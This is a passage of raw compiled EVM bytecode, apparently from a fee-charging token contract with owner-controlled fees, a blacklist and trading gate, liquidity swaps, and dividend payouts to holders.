b506107836108613660046150a8565b61162d565b34801561087257600080fd5b50603154610886906001600160a01b031681565b6040516001600160a01b03909116815260200161067d565b3480156108aa57600080fd5b506106716108b93660046150fa565b611682565b3480156108ca57600080fd5b506106716108d9366004614ffa565b60326020526000908152604090205460ff1681565b3480156108fa57600080fd5b50610671610909366004614ffa565b60246020526000908152604090205460ff1681565b34801561092a57600080fd5b5061078361093936600461506e565b611719565b34801561094a57600080fd5b5060075460405160ff909116815260200161067d565b34801561096c57600080fd5b5061078361097b366004614ffa565b6117a1565b34801561098c57600080fd5b506106e360125481565b3480156109a257600080fd5b506106716109b1366004614ffa565b600a6020526000908152604090205460ff1681565b3480156109d257600080fd5b506106e360205481565b3480156109e857600080fd5b506108867f000000000000000000000000000000000000000000000000000000000000000081565b348015610a1c57600080fd5b506108867f000000000000000000000000000000000000000000000000000000000000000081565b348015610a5057600080fd5b506106e3610a5f366004614ffa565b602a6020526000908152604090205481565b348015610a7d57600080fd5b50610783610a8c36600461513b565b6117ed565b348015610a9d57600080fd5b506106e360145481565b348015610ab357600080fd5b506106e3610ac2366004614ffa565b601c6020526000908152604090205481565b348015610ae057600080fd5b506106e3601d5481565b348015610af657600080fd5b50610671610b05366004614ffa565b60306020526000908152604090205460ff1681565b348015610b2657600080fd5b50610886610b3536600461506e565b61182a565b348015610b4657600080fd5b50610783610b553660046150e1565b611862565b348015610b6657600080fd5b506106e3601a5481565b348015610b7c57600080fd5b506106e360255481565b348015610b9257600080fd5b50610ba6610ba1366004614ffa565b61193a565b60408051948552602085019390935290151591830191909152606082015260800161067d565b348015610bd857600080fd5b50610783610be736600461513b565b611a0b565b348015610bf857600080fd5b50610783610c073660046150a8565b611a48565b348015610c1857600080fd5b506106e360345481565b348015610c2e57600080fd5b506106e360365481565b348015610c4457600080fd5b50610783611a9d565b348015610c5957600080fd5b50610783610c68366004615237565b611b07565b348015610c7957600080fd5b506106e3610c88366004614ffa565b6001600160a01b031660009081526001602052604090205490565b348015610caf57600080fd5b50610783611b93565b348015610cc457600080fd5b50610783610cd3366004615237565b611c07565b348015610ce457600080fd5b506022546106e3565b348015610cf957600080fd5b50610783610d0836600461527c565b611c9f565b348015610d1957600080fd5b506106e360275481565b348015610d2f57600080fd5b50610d38611d30565b6040805192835260208301919091520161067d565b348015610d5957600080fd5b50602854610886906001600160a01b031681565b348015610d7957600080fd5b50610783610d883660046150e1565b611e1a565b348015610d9957600080fd5b50610783610da83660046150a8565b611e49565b348015610db957600080fd5b50610783610dc8366004614ffa565b611e9e565b348015610dd957600080fd5b506106e3610de83660046152c3565b602f60209081526000928352604080842090915290825290205481565b348015610e1157600080fd5b50610783610e2036600461527c565b611f2a565b348015610e3157600080fd5b50610783610e403660046152e8565b611fbb565b348015610e5157600080fd5b506000546001600160a01b0316610886565b348015610e6f57600080fd5b50610783610e7e3660046150e1565b611ff9565b348015610e8f57600080fd5b50610783610e9e3660046150e1565b612028565b348015610eaf57600080fd5b506107206120a3565b348015610ec457600080fd5b50610783610ed33660046150e1565b6120b2565b348015610ee457600080fd5b506106e360155481565b348015610efa57600080fd5b50600454610886906001600160a01b031681565b348015610f1a57600080fd5b50610783610f29366004614ffa565b6120e1565b348015610f3a57600080fd5b50610783610f4936600461506e565b612145565b348015610f5a57600080fd5b50610783610f693660046150a8565b612193565b348015610f7a57600080fd5b50610671610f8936600461506e565b6121e8565b348015610f9a57600080fd5b506106e3600c5481565b348015610fb057600080fd5b50610671610fbf366004614ffa565b60336020526000908152604090205460ff1681565b348015610fe057600080fd5b506106e360115481565b348015610ff657600080fd5b50610886611005366004614ffa565b6121f5565b34801561101657600080fd5b5061078361102536600461527c565b612232565b34801561103657600080fd5b506107836110453660046150e1565b6122c3565b34801561105657600080fd5b506106e3600d5481565b34801561106c57600080fd5b5061067161107b366004614ffa565b602e6020526000908152604090205460ff1681565b34801561109c57600080fd5b506107836110ab36600461531a565b6122f2565b3480156110bc57600080fd5b506106e3601f5481565b3480156110d257600080fd5b506108866110e1366004614ffa565b602c602052600090815260409020546001600160a01b031681565b34801561110857600080fd5b506107836111173660046150e1565b6123c3565b34801561112857600080fd5b506106e3600e5481565b34801561113e57600080fd5b506111476123f2565b6040805193845260208401929092529082015260600161067d565b34801561116e57600080fd5b506106e360195481565b34801561118457600080fd5b5061078361119336600461506e565b6124b8565b3480156111a457600080fd5b506107836111b33660046150a8565b6124fe565b3480156111c457600080fd5b506106e3600f5481565b3480156111da57600080fd5b506106e360265481565b3480156111f057600080fd5b506106e36111ff3660046153d5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561123657600080fd5b506108866112453660046150e1565b612553565b34801561125657600080fd5b506106e3601e5481565b34801561126c57600080fd5b506035546106719060ff1681565b34801561128657600080fd5b5061078361129536600461531a565b61257d565b3480156112a657600080fd5b506107836112b53660046152e8565b612622565b3480156112c657600080fd5b50600354610886906001600160a01b031681565b3480156112e657600080fd5b506106e360215481565b3480156112fc57600080fd5b5061078361130b3660046150e1565b612660565b34801561131c57600080fd5b5061078361132b366004615403565b6126b5565b34801561133c57600080fd5b506106e361134b366004614ffa565b60236020526000908152604090205481565b34801561136957600080fd5b506107836113783660046153d5565b6126ed565b34801561138957600080fd5b50610783611398366004614ffa565b612721565b3480156113a957600080fd5b50602954610886906001600160a01b031681565b3480156113c957600080fd5b506107836113d83660046150e1565b6127e1565b3480156113e957600080fd5b506107836113f8366004614ffa565b612810565b34801561140957600080fd5b506106e360135481565b34801561141f57600080fd5b5061078361142e366004614ffa565b612874565b6060600580546114429061542f565b80601f016020809104026020016040519081016040528092919081815260200182805461146e9061542f565b80156114bb5780601f10611490576101008083540402835291602001916114bb565b820191906000526020600020905b81548152906001019060200180831161149e57829003601f168201915b5050505050905090565b60006114d23384846128d8565b5060015b92915050565b6000546001600160a01b0316331461150f5760405162461bcd60e51b815260040161150690615463565b60405180910390fd5b6001600160a01b03919091166000908152602460205260409020805460ff1916911515919091179055565b3360009081526008602052604090205460ff16156115cb5760035460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af11580156115a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115c9919061547f565b505b5050565b6000546001600160a01b031633146115f95760405162461bcd60e51b815260040161150690615463565b603455565b6000546001600160a01b031633146116285760405162461bcd60e51b815260040161150690615463565b601955565b6000546001600160a01b031633146116575760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152601760205260409020805460ff1916911515919091179055565b600061168f84848461293a565b6001600160a01b03841660009081526002602090815260408083203384529091529020546000191461170f576001600160a01b03841660009081526002602090815260408083203384529091529020546116ea9083906154b2565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6029546001600160a01b031633146117435760405162461bcd60e51b8152600401611506906154c5565b6001600160a01b0382166000908152601c60205260408120805483929061176b9084906154e7565b90915550506001600160a01b0382166000908152602a6020526040812080548392906117989084906154e7565b90915550505050565b6000546001600160a01b031633146117cb5760405162461bcd60e51b815260040161150690615463565b602980546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146118175760405162461bcd60e51b815260040161150690615463565b6018805460ff1916911515919091179055565b602d602052816000526040600020818154811061184657600080fd5b6000918252602090912001546001600160a01b03169150829050565b6029546001600160a01b0316331461188c5760405162461bcd60e51b8152600401611506906154c5565b6029546118c4907f0000000000000000000000000000000000000000000000000000000000000000906001600160a01b031683613013565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561191f57600080fd5b505af1158015611933573d6000803e3d6000fd5b5050505050565b6040516370a0823160e01b81526001600160a01b0382811660048301526000918291829182917f000000000000000000000000000000000000000000000000000000000000000016906370a0823190602401602060405180830381865afa1580156119a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119cd91906154fa565b6001600160a01b039095166000908152602460209081526040808320546016909252909120805460019190910154909760ff90921695509350915050565b6000546001600160a01b03163314611a355760405162461bcd60e51b815260040161150690615463565b6035805460ff1916911515919091179055565b6000546001600160a01b03163314611a725760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152603060205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314611ac75760405162461bcd60e51b815260040161150690615463565b60145415611b015760405162461bcd60e51b815260206004820152600760248201526674726164696e6760c81b6044820152606401611506565b43601455565b6000546001600160a01b03163314611b315760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c95781601c6000858481518110611b5457611b54615513565b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055508080611b8b90615529565b915050611b34565b6000546001600160a01b03163314611bbd5760405162461bcd60e51b815260040161150690615463565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314611c315760405162461bcd60e51b815260040161150690615463565b8151600080805b83811015611c9757858181518110611c5257611c52615513565b6020908102919091018101516001600160a01b038116600090815260169092526040909120868155600181018790559093509150611c8f8361305b565b600101611c38565b505050505050565b6000546001600160a01b03163314611cc95760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c9578160306000858481518110611cec57611cec615513565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611d2881615529565b915050611ccc565b60008060007f00000000000000000000000000000000000000000000000000000000000000009050600080826001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611d99573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dbd9190615559565b506001600160701b0391821693501690507f0000000000000000000000000000000000000000000000000000000000000000306001600160a01b0382161015611e0b57829550819450611e12565b8195508294505b505050509091565b6000546001600160a01b03163314611e445760405162461bcd60e51b815260040161150690615463565b603655565b6000546001600160a01b03163314611e735760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152602e60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314611ec85760405162461bcd60e51b815260040161150690615463565b600380546001600160a01b0319166001600160a01b0383169081179091556000908152600860205260409020805460ff19166001179055611f0c600a6000196155a9565b6003546001600160a01b031660009081526016602052604090205550565b6000546001600160a01b03163314611f545760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c9578160336000858481518110611f7757611f77615513565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611fb381615529565b915050611f57565b6000546001600160a01b03163314611fe55760405162461bcd60e51b815260040161150690615463565b600c93909355600d91909155600e55600f55565b6000546001600160a01b031633146120235760405162461bcd60e51b815260040161150690615463565b602055565b6000546001600160a01b031633146120525760405162461bcd60e51b815260040161150690615463565b62030d4081101580156120685750621e84808111155b61209e5760405162461bcd60e51b815260206004820152600760248201526632302d3230307760c81b6044820152606401611506565b602155565b6060600680546114429061542f565b6000546001600160a01b031633146120dc5760405162461bcd60e51b815260040161150690615463565b602755565b6000546001600160a01b0316331461210b5760405162461bcd60e51b815260040161150690615463565b602880546001600160a01b039092166001600160a01b0319909216821790556000908152602460205260409020805460ff19166001179055565b6000546001600160a01b0316331461216f5760405162461bcd60e51b815260040161150690615463565b6001600160a01b03821660009081526016602052604090208181556115c98361305b565b6000546001600160a01b031633146121bd5760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b60006114d233848461293a565b6001600160a01b038082166000908152602c6020908152604080832054909316808352602e9091529190205460ff161561222d575060005b919050565b6000546001600160a01b0316331461225c5760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c957816008600085848151811061227f5761227f615513565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806122bb81615529565b91505061225f565b6000546001600160a01b031633146122ed5760405162461bcd60e51b815260040161150690615463565b601b55565b6000546001600160a01b0316331461231c5760405162461bcd60e51b815260040161150690615463565b8151600080805b83811015611c975785818151811061233d5761233d615513565b6020026020010151925060166000846001600160a01b03166001600160a01b03168152602001908152602001600020915084818151811061238057612380615513565b602002602001015182600001819055508481815181106123a2576123a2615513565b602002602001015182600101819055506123bb8361305b565b600101612323565b6000546001600160a01b031633146123ed5760405162461bcd60e51b815260040161150690615463565b601a55565b60008060006123ff611d30565b6040516370a0823160e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301529295509093507f0000000000000000000000000000000000000000000000000000000000000000909116906370a0823190602401602060405180830381865afa15801561248d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124b191906154fa565b9050909192565b6000546001600160a01b031633146124e25760405162461bcd60e51b815260040161150690615463565b6001600160a01b039091166000908152601c6020526040902055565b6000546001600160a01b031633146125285760405162461bcd60e51b815260040161150690615463565b6001600160a01b03919091166000908152600860205260409020805460ff1916911515919091179055565b6022818154811061256357600080fd5b6000918252602090912001546001600160a01b0316905081565b6000546001600160a01b031633146125a75760405162461bcd60e51b815260040161150690615463565b60005b82518110156115c9578181815181106125c5576125c5615513565b6020026020010151601c60008584815181106125e3576125e3615513565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002081905550808061261a90615529565b9150506125aa565b6000546001600160a01b0316331461264c5760405162461bcd60e51b815260040161150690615463565b601093909355601191909155601255601355565b3360009081526008602052604090205460ff16156126b2576003546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156115cb573d6000803e3d6000fd5b50565b6000546001600160a01b031633146126df5760405162461bcd60e51b815260040161150690615463565b601d92909255601e55601f55565b6029546001600160a01b031633146127175760405162461bcd60e51b8152600401611506906154c5565b6115cb828261312b565b6000546001600160a01b0316331461274b5760405162461bcd60e51b815260040161150690615463565b6001600160a01b0381166127865760405162461bcd60e51b815260206004820152600260248201526106e360f41b6044820152606401611506565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461280b5760405162461bcd60e51b815260040161150690615463565b602655565b6000546001600160a01b0316331461283a5760405162461bcd60e51b815260040161150690615463565b600480546001600160a01b039092166001600160a01b0319909216821790556000908152600860205260409020805460ff19166001179055565b6000546001600160a01b0316331461289e5760405162461bcd60e51b815260040161150690615463565b603180546001600160a01b039092166001600160a01b0319909216821790556000908152600860205260409020805460ff19166001179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b612942613221565b6001600160a01b03831660009081526030602052604090205460ff16158061298257506001600160a01b03831660009081526008602052604090205460ff165b806129a557506001600160a01b0383166000908152600a602052604090205460ff165b6129dd5760405162461bcd60e51b8152602060048201526009602482015268189b1858dad31a5cdd60ba1b6044820152606401611506565b6001600160a01b03831660009081526001602052604090205481811015612a2c5760405162461bcd60e51b8152602060048201526003602482015262424e4560e81b6044820152606401611506565b32600081815260086020526040902054439060ff16158015612aba57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b03161480612aba57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316145b15612b86576019548015612b84576000828152602f602090815260408083206001600160a01b038716845290915281208054879290612afa9084906154e7565b9091555060009050612b0a611d30565b91506127109050612b1b83836155cb565b612b2591906155a9565b6000848152602f602090815260408083206001600160a01b0389168452909152902054909250821015612b825760405162461bcd60e51b8152602060048201526005602482015264131a5b5a5d60da1b6044820152606401611506565b505b505b6029546001600160a01b0387811691161480612baf57506029546001600160a01b038681169116145b15612bbf57611c97868686613013565b6001600160a01b03861660009081526008602052604081205460ff16158015612c0157506001600160a01b03861660009081526008602052604090205460ff16155b15612c6e57866001600160a01b03167f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031614612c6e5760006103e8612c50866103e76155cb565b612c5a91906155a9565b905080861115612c68578095505b60019150505b6000807f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316886001600160a01b0316148015612cda57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031633145b8015612cf75750886001600160a01b0316856001600160a01b0316145b15612d6257612d0587613252565b90508015612d62576001600160a01b0385166000908152601660205260408120805490935082918491612d399084906154e7565b9091555050601454600003612d625780826001016000828254612d5c91906154e7565b90915550505b60007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03168a6001600160a01b031603612e2657612da6886132bd565b90508015612e26576001600160a01b038616600090815260166020526040902054811115612dd357600080fd5b6001600160a01b03861660009081526016602052604081208054839290612dfb9084906154b2565b90915550506001600160a01b03861660009081526008602052604090205460ff1615612e2657600093505b6001600160a01b038a166000908152600a602052604090205460ff1680612e6557506001600160a01b0389166000908152600a602052604090205460ff165b15612fad57601554600003612ed7576001600160a01b038a1660009081526008602052604090205460ff168015612ecd57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316896001600160a01b0316145b15612ed757436015555b6001600160a01b038a1660009081526008602052604090205460ff16158015612f1957506001600160a01b03891660009081526008602052604090205460ff16155b15612fad57601454600003612f6a576015546000108015612f5c57506000821180612f5c57506001600160a01b03891660009081526033602052604090205460ff165b612f6557600080fd5b612fad565b81158015612f76575080155b8015612f8f57506000601454612f8c91906154e7565b85105b15612fad57612fa18a8a8a606361341f565b50505050505050505050565b612fbb8a8a8a8786866134a9565b6001600160a01b038a163014612fa1578115612fdf57612fda8a61305b565b612fa1565b8315612fa1576021546130066064612ff783826155cb565b61300191906155a9565b6139a1565b5050505050505050505050565b6001600160a01b0383166000908152600160205260409020546130379082906154b2565b6001600160a01b0384166000908152600160205260409020556115c9838383613d69565b6001600160a01b03811660009081526023602052604081205490036126b25760225415806130ba5750806001600160a01b031660226000815481106130a2576130a2615513565b6000918252602090912001546001600160a01b031614155b156126b257803b80156130cb575050565b50602280546001600160a01b0383166000818152602360205260408120839055600183018455929092527f61035b26e3e9eee00e0d72fd1ee8ddca6894550dca6916ea2ac6baa90d11e5100180546001600160a01b031916909117905550565b6001600160a01b038281166000908152602c60205260409020541615801561315b57506001600160a01b03811615155b801561316f57506001600160a01b03821615155b801561318d5750816001600160a01b0316816001600160a01b031614155b156115cb576001600160a01b0382166000908152602d602052604081205490036115cb57803b80156131be57505050565b50813b80156131cc57505050565b506001600160a01b038083166000818152602c6020908152604080832080549587166001600160a01b031996871681179091558352602d82528220805460018101825590835291200180549092161790555050565b60355460ff16613250576000613235611d30565b50905060365481106126b2576035805460ff19166001179055505b565b6000806000806132606123f2565b925092509250600080841180156132775750600083115b15613294578261328785886155cb565b61329191906155a9565b90505b61329e81856154e7565b82106132b4576132b082878686613de1565b5094505b50505050919050565b6000806000806132cb6123f2565b925092509250828110156133c057846133197f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031660009081526001602052604090205490565b61332391906154b2565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906133a591906154fa565b6133af90876155cb565b6133b991906155a9565b9350613417565b60185460ff161561341757600080841180156133dc5750600083115b156132b4576133eb86846154b2565b6133f585886155cb565b6133ff91906155a9565b905061340b84826154e7565b8210156132b457600080fd5b505050919050565b6001600160a01b0384166000908152600160205260409020546134439083906154b2565b6001600160a01b038516600090815260016020526040812091909155606461346b83856155cb565b61347591906155a9565b90508015613495576003546134959086906001600160a01b031683613d69565b61193385856134a484876154b2565b613d69565b6001600160a01b0386166000908152600160205260409020546134cd9085906154b2565b6001600160a01b038716600090815260016020526040812091909155328180808661388557851561351b578715613516576135098b8a8861425f565b61351390866154e7565b94505b613885565b6001600160a01b038b166000908152600a602052604090205460ff16156137f45787156135955760355460ff1661355157600080fd5b612710600f54600e54600d54600c5461356a91906154e7565b61357491906154e7565b61357e91906154e7565b613588908b6155cb565b61359291906155a9565b90505b6040805160028082526060820183526000926020830190803683370190505090507f0000000000000000000000000000000000000000000000000000000000000000816000815181106135ea576135ea615513565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061361e5761361e615513565b6001600160a01b0392831660209182029290920101526040516307c0329d60e21b81526000917f00000000000000000000000000000000000000000000000000000000000000001690631f00ca749061367d908e908690600401615626565b600060405180830381865afa15801561369a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526136c29190810190615647565b9050806000815181106136d7576136d7615513565b6020026020010151601c6000886001600160a01b03166001600160a01b03168152602001908152602001600020600082825461371391906154e7565b925050819055508060008151811061372d5761372d615513565b6020026020010151602a6000886001600160a01b03166001600160a01b03168152602001908152602001600020600082825461376991906154e7565b909155508a9050801561377c5750601454155b156137ed576001600160a01b038c1660009081526032602052604090205460ff16156137a757600080fd5b6001600160a01b038c166000908152603260205260409020805460ff19166001179055603454846137d8858e6154b2565b6137e291906154b2565b11156137ed57600080fd5b5050613885565b6001600160a01b038a166000908152600a602052604090205460ff1615613867576001925087156135165761271060135460125460115460105461383891906154e7565b61384291906154e7565b61384c91906154e7565b613856908b6155cb565b61386091906155a9565b9050613885565b6127106020548a61387891906155cb565b61388291906155a9565b90505b81156138a45761389582866154e7565b94506138a48b61dead84613d69565b80156138c1576138b481866154e7565b94506138c18b3083613d69565b8280156138d15750600b5460ff16155b1561399257871561395257306000908152600160205260408120549060646138fa8460e66155cb565b61390491906155a9565b9050818111156139115750805b6000613925613920898e6154b2565b61437b565b905080156139445761393781896154e7565b97506139448e3083613d69565b61394e828261459c565b5050505b61396461395f868b6154b2565b614c9d565b6001600160a01b0385166000908152602b60205260408120805490919061398c9084906154e7565b90915550505b6130068b8b6134a4888d6154b2565b6026546040516370a0823160e01b815230600482015281907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316906370a0823190602401602060405180830381865afa158015613a0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a2e91906154fa565b1015613a38575050565b6028546040516370a0823160e01b81526001600160a01b0391821660048201527f000000000000000000000000000000000000000000000000000000000000000091600091908316906370a0823190602401602060405180830381865afa158015613aa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613acb91906154fa565b6040516370a0823160e01b815261dead60048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015613b11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b3591906154fa565b836001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613b73573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613b9791906154fa565b613ba191906154b2565b613bab91906154b2565b905080600003613bbb5750505050565b602254600090819081908180805a6027549091505b8b84108015613bde57508483105b15613d5b578460255410613bf25760006025555b602260255481548110613c0757613c07615513565b60009182526020808320909101546001600160a01b0316808352602490915260409091205490985060ff16613d19576040516370a0823160e01b81526001600160a01b0389811660048301528b16906370a0823190602401602060405180830381865afa158015613c7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613ca091906154fa565b6001600160a01b03891660009081526016602052604090205490975087811015613cc8578097505b818810613d175789613cda898e6155cb565b613ce491906155a9565b96508615613d1757613d177f00000000000000000000000000000000000000000000000000000000000000008a89614e00565b505b5a613d2490836154b2565b613d2e90856154e7565b93505a602580549193506000613d4383615529565b91905055508280613d5390615529565b935050613bd0565b505050505050505050505050565b6001600160a01b038216600090815260016020526040902054613d8d9082906154e7565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061292d9085815260200190565b60008060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613e44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613e6891906154fa565b905060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015613eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613eee91906156d8565b6001600160a01b031663017e7e586040518163ffffffff1660e01b8152600401602060405180830381865afa158015613f2b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f4f91906156d8565b90506000806001600160a01b0316826001600160a01b03161415905060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316637464fc3d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613fcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613fef91906154fa565b905081156141e55780156141e557600061401161400c898b6155cb565b614eb2565b9050600061401e83614eb2565b9050808211156141e2576000807310ed43c718714eb63d5aa57b78b54704e256024d197f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316016140b85761407a83856154b2565b61408490896155cb565b61408f9060086155cb565b915061409c8360086155cb565b6140a78560116155cb565b6140b191906154e7565b90506141c0565b73d99d1c33f9fc3444f8101754abc46c52416550d0197f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03160161411f5761410783856154b2565b61411190896155cb565b9150826140a78560036155cb565b73e9d6f80028671279a28790bb4007b10b0595def0197f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316016141915761416e83856154b2565b61417890896155cb565b6141839060036155cb565b9150826140a78560056155cb565b61419b83856154b2565b6141a590896155cb565b9150826141b38560056155cb565b6141bd91906154e7565b90505b6141ca81836155a9565b985088156141df576141dc89896154e7565b97505b50505b50505b60006141f1898c6154b2565b90508460000361421c576103e861420b61400c8c846155cb565b61421591906154b2565b9650614251565b61424e8961422a87846155cb565b61423491906155a9565b8961423f888e6155cb565b61424991906155a9565b614f21565b96505b505050505094509492505050565b326000908152601660205260408120600181015481548391906142839086906154e7565b61428d91906154b2565b905083808281111561429c5750815b60008115614300576142ae82846154b2565b9250612710601a5488848b6142c391906155cb565b6142cd91906155a9565b6142d791906155cb565b6142e191906155a9565b90506142ed81876154e7565b9550801561430057614300893083613d69565b6000612710601b5489868c61431591906155cb565b61431f91906155a9565b61432991906155cb565b61433391906155a9565b905080156143545761434581886154e7565b96506143548a61dead83613d69565b8386600101600082825461436891906154b2565b90915550969a9950505050505050505050565b60408051600280825260608201835260009232928492909160208301908036833701905050905030816000815181106143b6576143b6615513565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000008160018151811061440a5761440a615513565b6001600160a01b03928316602091820292909201015260405163d06ca61f60e01b81526000917f0000000000000000000000000000000000000000000000000000000000000000169063d06ca61f906144699088908690600401615626565b600060405180830381865afa158015614486573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526144ae9190810190615647565b9050600081600183516144c191906154b2565b815181106144d1576144d1615513565b6020908102919091018101516001600160a01b0386166000908152601c90925260408220549092509081831115614563576001600160a01b0386166000908152601c602052604081205561452582846154b2565b9050600083614534838b6155cb565b61453e91906155a9565b9050612710601d548261455191906155cb565b61455b91906155a9565b975050614591565b6001600160a01b0386166000908152601c60205260408120805485929061458b9084906154b2565b90915550505b505050505050919050565b600b805460ff19166001179055811580156145b5575080155b614c8f576000601154600d546145cb91906154e7565b90506000601254600e546145df91906154e7565b90506000601354600f546145f391906154e7565b905060008183601054600c548761460a91906154e7565b61461491906154e7565b61461e91906154e7565b61462891906154e7565b905061463481806154e7565b90506000841561466e578161464986896155cb565b61465391906155a9565b905061465f81886154b2565b965061466b85836154b2565b91505b61467886886154e7565b604080516002808252606082018352929950600092909160208301908036833701905050905030816000815181106146b2576146b2615513565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000008160018151811061470657614706615513565b6001600160a01b0392831660209182029290920101526040516370a0823160e01b81527f0000000000000000000000000000000000000000000000000000000000000000821660048201526000917f000000000000000000000000000000000000000000000000000000000000000016906370a0823190602401602060405180830381865afa15801561479d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906147c191906154fa565b604051635c11d79560e01b81529091506001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690635c11d79590614839908c9060009087907f00000000000000000000000000000000000000000000000000000000000000009042906004016156f5565b600060405180830381600087803b15801561485357600080fd5b505af1158015614867573d6000803e3d6000fd5b50506040516370a0823160e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000811660048301528493507f00000000000000000000000000000000000000000000000000000000000000001691506370a0823190602401602060405180830381865afa1580156148f3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061491791906154fa565b61492191906154b2565b90506000896149308a846155cb565b61493a91906155a9565b905060008a61494986856155cb565b61495391906155a9565b905061495f82846154b2565b92506149b67f00000000000000000000000000000000000000000000000000000000000000007f0000000000000000000000000000000000000000000000000000000000000000306149b186886154e7565b614f39565b8215614a8257600086896149cb8660026155cb565b6149d591906155cb565b6149df91906155a9565b90508015614a1f57600354614a1f907f0000000000000000000000000000000000000000000000000000000000000000906001600160a01b031683614e00565b8688614a2c8660026155cb565b614a3691906155cb565b614a4091906155a9565b90508015614a8057600454614a80907f0000000000000000000000000000000000000000000000000000000000000000906001600160a01b031683614e00565b505b8115614b8b576000601d54601e5484614a9b91906155cb565b614aa591906155a9565b90508015614b2b57326000908152602c60205260409020546001600160a01b0316801580614aeb57506001600160a01b0381166000908152602e602052604090205460ff165b15614afe57506031546001600160a01b03165b614b297f00000000000000000000000000000000000000000000000000000000000000008284614e00565b505b6000601d54601f5485614b3e91906155cb565b614b4891906155a9565b90508015614b8857603154614b88907f0000000000000000000000000000000000000000000000000000000000000000906001600160a01b031683614e00565b50505b600081118015614b9b5750600085115b15614c855760035460405162e8e33760e81b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152604482018890526064820184905260006084830181905260a483015291821660c48201524260e48201527f00000000000000000000000000000000000000000000000000000000000000009091169063e8e3370090610104016060604051808303816000875af1158015614c5d573d6000803e3d6000fd5b505050506040513d601f19601